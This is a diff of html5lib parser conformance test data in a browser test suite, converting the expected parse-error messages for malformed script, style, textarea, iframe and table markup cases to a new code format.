+(1,11): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1387,8 +1426,8 @@ Line: 1 Col: 11 Unexpected end of file. Expected end tag (script).
#data
<script><!-
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,11): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1399,8 +1438,8 @@ Line: 1 Col: 11 Unexpected end of file. Expected end tag (script).
#data
<script><!-a
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 12 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,12): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1411,8 +1450,9 @@ Line: 1 Col: 12 Unexpected end of file. Expected end tag (script).
#data
<script><!--
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 12 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,12): expected-named-closing-tag-but-got-eof
+(1,12): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1423,8 +1463,9 @@ Line: 1 Col: 12 Unexpected end of file. Expected end tag (script).
#data
<script><!--a
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 13 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,13): expected-named-closing-tag-but-got-eof
+(1,13): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1435,8 +1476,9 @@ Line: 1 Col: 13 Unexpected end of file. Expected end tag (script).
#data
<script><!--<
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 13 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,13): expected-named-closing-tag-but-got-eof
+(1,13): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1447,8 +1489,9 @@ Line: 1 Col: 13 Unexpected end of file. Expected end tag (script).
#data
<script><!--<a
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,14): expected-named-closing-tag-but-got-eof
+(1,14): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1459,8 +1502,9 @@ Line: 1 Col: 14 Unexpected end of file. Expected end tag (script).
#data
<script><!--</
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,14): expected-named-closing-tag-but-got-eof
+(1,14): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1471,8 +1515,9 @@ Line: 1 Col: 14 Unexpected end of file. Expected end tag (script).
#data
<script><!--</script
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,20): expected-named-closing-tag-but-got-eof
+(1,20): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1483,8 +1528,9 @@ Line: 1 Col: 20 Unexpected end of file. Expected end tag (script).
#data
<script><!--</script
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 21 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,21): expected-attribute-name-but-got-eof
+(1,21): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1495,8 +1541,9 @@ Line: 1 Col: 21 Unexpected end of file. Expected end tag (script).
#data
<script><!--<s
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,14): expected-named-closing-tag-but-got-eof
+(1,14): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1507,8 +1554,9 @@ Line: 1 Col: 14 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 19 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,19): expected-named-closing-tag-but-got-eof
+(1,19): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1519,8 +1567,9 @@ Line: 1 Col: 19 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 20 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,20): eof-in-script-in-script
+(1,20): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1531,8 +1580,9 @@ Line: 1 Col: 20 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script <
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 21 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,21): eof-in-script-in-script
+(1,21): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1543,8 +1593,9 @@ Line: 1 Col: 21 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script <a
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 22 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,22): eof-in-script-in-script
+(1,22): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1555,8 +1606,9 @@ Line: 1 Col: 22 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 22 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,22): eof-in-script-in-script
+(1,22): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1567,8 +1619,9 @@ Line: 1 Col: 22 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </s
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 23 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,23): eof-in-script-in-script
+(1,23): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1579,8 +1632,9 @@ Line: 1 Col: 23 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </script
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 28 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,28): eof-in-script-in-script
+(1,28): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1591,8 +1645,9 @@ Line: 1 Col: 28 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </scripta
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,29): eof-in-script-in-script
+(1,29): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1603,8 +1658,9 @@ Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </script
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,29): expected-named-closing-tag-but-got-eof
+(1,29): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1615,8 +1671,9 @@ Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,29): expected-named-closing-tag-but-got-eof
+(1,29): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1627,8 +1684,9 @@ Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </script/
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,29): expected-named-closing-tag-but-got-eof
+(1,29): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1639,8 +1697,9 @@ Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </script <
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 30 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,30): expected-named-closing-tag-but-got-eof
+(1,30): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1651,8 +1710,9 @@ Line: 1 Col: 30 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </script <a
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 31 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,31): expected-named-closing-tag-but-got-eof
+(1,31): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1663,8 +1723,9 @@ Line: 1 Col: 31 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </script </
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 31 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,31): expected-named-closing-tag-but-got-eof
+(1,31): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1675,8 +1736,9 @@ Line: 1 Col: 31 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </script </script
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,37): expected-named-closing-tag-but-got-eof
+(1,37): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1687,8 +1749,9 @@ Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </script </script
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,38): expected-attribute-name-but-got-eof
+(1,38): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1699,8 +1762,9 @@ Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </script </script/
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,38): unexpected-EOF-after-solidus-in-tag
+(1,38): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1711,7 +1775,7 @@ Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script </script </script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1722,8 +1786,9 @@ Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
#data
<script><!--<script -
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 21 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,21): eof-in-script-in-script
+(1,21): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1734,8 +1799,9 @@ Line: 1 Col: 21 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script -a
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 22 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,22): eof-in-script-in-script
+(1,22): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1746,8 +1812,9 @@ Line: 1 Col: 22 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script --
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 22 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,22): eof-in-script-in-script
+(1,22): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1758,8 +1825,9 @@ Line: 1 Col: 22 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script --a
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 23 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,23): eof-in-script-in-script
+(1,23): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1770,8 +1838,8 @@ Line: 1 Col: 23 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script -->
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 23 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,23): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1782,8 +1850,8 @@ Line: 1 Col: 23 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script --><
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 24 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,24): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1794,8 +1862,8 @@ Line: 1 Col: 24 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script --></
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 25 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,25): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1806,8 +1874,8 @@ Line: 1 Col: 25 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script --></script
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 31 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,31): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1818,8 +1886,9 @@ Line: 1 Col: 31 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script --></script
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 32 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,32): expected-attribute-name-but-got-eof
+(1,32): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1830,8 +1899,9 @@ Line: 1 Col: 32 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script --></script/
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 32 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,32): unexpected-EOF-after-solidus-in-tag
+(1,32): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1842,7 +1912,7 @@ Line: 1 Col: 32 Unexpected end of file. Expected end tag (script).
#data
<script><!--<script --></script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1853,7 +1923,7 @@ Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
#data
<script><!--<script><\/script>--></script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1864,7 +1934,7 @@ Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
#data
<script><!--<script></scr'+'ipt>--></script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1875,7 +1945,7 @@ Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
#data
<script><!--<script></script><script></script></script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1886,7 +1956,7 @@ Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
#data
<script><!--<script></script><script></script>--><!--</script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1897,7 +1967,7 @@ Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
#data
<script><!--<script></script><script></script>-- ></script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1908,7 +1978,7 @@ Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
#data
<script><!--<script></script><script></script>- -></script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1919,7 +1989,7 @@ Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
#data
<script><!--<script></script><script></script>- - ></script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1930,7 +2000,7 @@ Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
#data
<script><!--<script></script><script></script>-></script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -1941,8 +2011,9 @@ Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
#data
<script><!--<script>--!></script>X
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 34 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,34): expected-named-closing-tag-but-got-eof
+(1,34): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1953,8 +2024,8 @@ Line: 1 Col: 34 Unexpected end of file. Expected end tag (script).
#data
<script><!--<scr'+'ipt></script>--></script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 44 Unexpected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,44): unexpected-end-tag
#document
| <html>
| <head>
@@ -1966,8 +2037,9 @@ Line: 1 Col: 44 Unexpected end tag (script).
#data
<script><!--<script></scr'+'ipt></script>X
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 42 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,42): expected-named-closing-tag-but-got-eof
+(1,42): unexpected-eof-in-text-mode
#document
| <html>
| <head>
@@ -1978,8 +2050,8 @@ Line: 1 Col: 42 Unexpected end of file. Expected end tag (script).
#data
<style><!--<style></style>--></style>
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
-Line: 1 Col: 37 Unexpected end tag (style).
+(1,7): expected-doctype-but-got-start-tag
+(1,37): unexpected-end-tag
#document
| <html>
| <head>
@@ -1991,7 +2063,7 @@ Line: 1 Col: 37 Unexpected end tag (style).
#data
<style><!--</style>X
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -2003,8 +2075,8 @@ Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
#data
<style><!--...</style>...--></style>
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
-Line: 1 Col: 36 Unexpected end tag (style).
+(1,7): expected-doctype-but-got-start-tag
+(1,36): unexpected-end-tag
#document
| <html>
| <head>
@@ -2016,7 +2088,7 @@ Line: 1 Col: 36 Unexpected end tag (style).
#data
<style><!--<br><html xmlns:v="urn:schemas-microsoft-com:vml"><!--[if !mso]><style></style>X
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -2028,8 +2100,8 @@ Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
#data
<style><!--...<style><!--...--!></style>--></style>
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
-Line: 1 Col: 51 Unexpected end tag (style).
+(1,7): expected-doctype-but-got-start-tag
+(1,51): unexpected-end-tag
#document
| <html>
| <head>
@@ -2041,7 +2113,7 @@ Line: 1 Col: 51 Unexpected end tag (style).
#data
<style><!--...</style><!-- --><style>@import ...</style>
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -2055,8 +2127,8 @@ Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
#data
<style>...<style><!--...</style><!-- --></style>
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
-Line: 1 Col: 48 Unexpected end tag (style).
+(1,7): expected-doctype-but-got-start-tag
+(1,48): unexpected-end-tag
#document
| <html>
| <head>
@@ -2068,7 +2140,7 @@ Line: 1 Col: 48 Unexpected end tag (style).
#data
<style>...<!--[if IE]><style>...</style>X
#errors
-Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -2080,8 +2152,8 @@ Line: 1 Col: 7 Unexpected start tag (style). Expected DOCTYPE.
#data
<title><!--<title></title>--></title>
#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
-Line: 1 Col: 37 Unexpected end tag (title).
+(1,7): expected-doctype-but-got-start-tag
+(1,37): unexpected-end-tag
#document
| <html>
| <head>
@@ -2093,7 +2165,7 @@ Line: 1 Col: 37 Unexpected end tag (title).
#data
<title>&lt;/title></title>
#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
+(1,7): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -2104,8 +2176,8 @@ Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
#data
<title>foo/title><link></head><body>X
#errors
-Line: 1 Col: 7 Unexpected start tag (title). Expected DOCTYPE.
-Line: 1 Col: 37 Unexpected end of file. Expected end tag (title).
+(1,7): expected-doctype-but-got-start-tag
+(1,37): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -2116,8 +2188,8 @@ Line: 1 Col: 37 Unexpected end of file. Expected end tag (title).
#data
<noscript><!--<noscript></noscript>--></noscript>
#errors
-Line: 1 Col: 10 Unexpected start tag (noscript). Expected DOCTYPE.
-Line: 1 Col: 49 Unexpected end tag (noscript).
+(1,10): expected-doctype-but-got-start-tag
+(1,49): unexpected-end-tag
#document
| <html>
| <head>
@@ -2129,7 +2201,7 @@ Line: 1 Col: 49 Unexpected end tag (noscript).
#data
<noscript><!--</noscript>X<noscript>--></noscript>
#errors
-Line: 1 Col: 10 Unexpected start tag (noscript). Expected DOCTYPE.
+(1,10): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -2143,7 +2215,7 @@ Line: 1 Col: 10 Unexpected start tag (noscript). Expected DOCTYPE.
#data
<noscript><iframe></noscript>X
#errors
-Line: 1 Col: 10 Unexpected start tag (noscript). Expected DOCTYPE.
+(1,10): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -2155,8 +2227,8 @@ Line: 1 Col: 10 Unexpected start tag (noscript). Expected DOCTYPE.
#data
<noframes><!--<noframes></noframes>--></noframes>
#errors
-Line: 1 Col: 10 Unexpected start tag (noframes). Expected DOCTYPE.
-Line: 1 Col: 49 Unexpected end tag (noframes).
+(1,10): expected-doctype-but-got-start-tag
+(1,49): unexpected-end-tag
#document
| <html>
| <head>
@@ -2168,7 +2240,7 @@ Line: 1 Col: 49 Unexpected end tag (noframes).
#data
<noframes><body><script><!--...</script></body></noframes></html>
#errors
-Line: 1 Col: 10 Unexpected start tag (noframes). Expected DOCTYPE.
+(1,10): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -2179,8 +2251,8 @@ Line: 1 Col: 10 Unexpected start tag (noframes). Expected DOCTYPE.
#data
<textarea><!--<textarea></textarea>--></textarea>
#errors
-Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
-Line: 1 Col: 49 Unexpected end tag (textarea).
+(1,10): expected-doctype-but-got-start-tag
+(1,49): unexpected-end-tag
#document
| <html>
| <head>
@@ -2192,7 +2264,7 @@ Line: 1 Col: 49 Unexpected end tag (textarea).
#data
<textarea>&lt;/textarea></textarea>
#errors
-Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
+(1,10): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -2203,8 +2275,8 @@ Line: 1 Col: 10 Unexpected start tag (textarea). Expected DOCTYPE.
#data
<iframe><!--<iframe></iframe>--></iframe>
#errors
-Line: 1 Col: 8 Unexpected start tag (iframe). Expected DOCTYPE.
-Line: 1 Col: 41 Unexpected end tag (iframe).
+(1,8): expected-doctype-but-got-start-tag
+(1,41): unexpected-end-tag
#document
| <html>
| <head>
@@ -2216,7 +2288,7 @@ Line: 1 Col: 41 Unexpected end tag (iframe).
#data
<iframe>...<!--X->...<!--/X->...</iframe>
#errors
-Line: 1 Col: 8 Unexpected start tag (iframe). Expected DOCTYPE.
+(1,8): expected-doctype-but-got-start-tag
#document
| <html>
| <head>
@@ -2227,8 +2299,8 @@ Line: 1 Col: 8 Unexpected start tag (iframe). Expected DOCTYPE.
#data
<xmp><!--<xmp></xmp>--></xmp>
#errors
-Line: 1 Col: 5 Unexpected start tag (xmp). Expected DOCTYPE.
-Line: 1 Col: 29 Unexpected end tag (xmp).
+(1,5): expected-doctype-but-got-start-tag
+(1,29): unexpected-end-tag
#document
| <html>
| <head>
@@ -2240,8 +2312,8 @@ Line: 1 Col: 29 Unexpected end tag (xmp).
#data
<noembed><!--<noembed></noembed>--></noembed>
#errors
-Line: 1 Col: 9 Unexpected start tag (noembed). Expected DOCTYPE.
-Line: 1 Col: 45 Unexpected end tag (noembed).
+(1,9): expected-doctype-but-got-start-tag
+(1,45): unexpected-end-tag
#document
| <html>
| <head>
@@ -2254,7 +2326,7 @@ Line: 1 Col: 45 Unexpected end tag (noembed).
<!doctype html><table>
#errors
-Line 2 Col 0 Unexpected end of file. Expected table content.
+(2,0): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -2267,9 +2339,9 @@ Line 2 Col 0 Unexpected end of file. Expected table content.
#data
<!doctype html><table><td><span><font></span><span>
#errors
-Line 1 Col 26 Unexpected table cell start tag (td) in the table body phase.
-Line 1 Col 45 Unexpected end tag (span).
-Line 1 Col 51 Expected closing tag. Unexpected end of file.
+(1,26): unexpected-cell-in-table-body
+(1,45): unexpected-end-tag
+(1,51): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -2287,8 +2359,11 @@ Line 1 Col 51 Expected closing tag. Unexpected end of file.
#data
<!doctype html><form><table></form><form></table></form>
#errors
-35: Stray end tag “form”.
-41: Start tag “form” seen in “table”.
+(1,35): unexpected-end-tag-implies-table-voodoo
+(1,35): unexpected-end-tag
+(1,41): unexpected-form-in-table
+(1,56): unexpected-end-tag
+(1,56): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
diff --git a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests17.dat b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests17.dat
index 7b555f888..37a7be418 100644
--- a/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests17.dat
+++ b/parser/htmlparser/tests/mochitest/html5lib_tree_construction/tests17.dat
@@ -1,6 +1,9 @@
#data
<!doctype html><table><tbody><select><tr>
#errors
+(1,37): unexpected-start-tag-implies-table-voodoo
+(1,41): unexpected-table-element-start-tag-in-select-in-table
+(1,41): eof-in-table
#document
| <!DOCTYPE html>
| <html>
@@ -14,6 +17,9 @@
#data
<!doctype html><table><tr><select><td>
#errors
+(1,34): unexpected-start-tag-implies-table-voodoo
+(1,38): unexpected-table-element-start-tag-in-select-in-table
+(1,38): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -28,6 +34,8 @@
#data
<!doctype html><table><tr><td><select><td>
#errors
+(1,42): unexpected-table-element-start-tag-in-select-in-table
+(1,42): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -43,6 +51,8 @@
#data
<!doctype html><table><tr><th><select><td>
#errors
+(1,42): unexpected-table-element-start-tag-in-select-in-table
+(1,42): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -58,6 +68,9 @@
#data
<!doctype html><table><caption><select><tr>
#errors
